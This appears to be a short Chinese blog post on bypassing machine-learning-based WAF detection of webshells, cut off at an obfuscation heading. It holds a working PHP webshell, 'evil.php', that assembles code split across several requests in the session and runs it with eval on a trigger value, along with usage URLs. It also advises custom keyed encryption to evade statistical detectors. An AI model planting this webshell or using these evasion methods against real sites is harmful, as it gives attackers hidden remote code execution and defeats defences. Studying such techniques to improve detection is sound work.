绕过基于机器学习WAF检测Webshell的几种思路

0x00 前言

昨晚跟舍友讨论如何检测Webshell的时候,整理了几种思路可以绕过/对抗当前基于机器学习进行检测webshell技术的弱点

0x01 上下文

基于机器学习的Webshell通常是获取用户对于网站的请求,然后基于统计学检测请求是否合法,同样需要匹配到一些敏感词(如:ev, va等),如果入侵者构造请求分批次传入,然后在最后某次结果输出,就可以利用$_SESSON等方法将多次请求的数据拼凑在一起,然后统一等待某个命令执行

例: evil.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
session_start();
$flag = "233";

if(!$_SESSION['exec']){
$_SESSION['exec']=array();
}

if($_REQUEST['uid']!==$flag){
$slice = $_REQUEST['uid'];
$_SESSION['exec'][] = $slice;
var_dump($_SESSION['exec']);
}
else{
$code = join("", $_SESSION['exec']);
var_dump($code);
eval($code);
session_destroy();
}

用法:

1
2
3
http://127.0.0.1:8080/evil.php?uid=echo
http://127.0.0.1:8080/evil.php?uid= 123123123;
http://127.0.0.1:8080/evil.php?uid=233

0x02 自定义加密算法/自定义编码

前面说到了,机器学习是基于统计学进行判断的,也就是说,如果已知足够多条同类加密算法的恶意代码,那么很有可能通过这些代码的信息推断出某些关键词(假设eval加密后为@#¥% ,那么可能直接能够得出匹配@#¥%的请求为不安全的)

解决方法如题,自定义/用带有密钥的加密算法即能够绕过此类检测,因为和已经统计到的数据是不一样的

### 0x03 基于混淆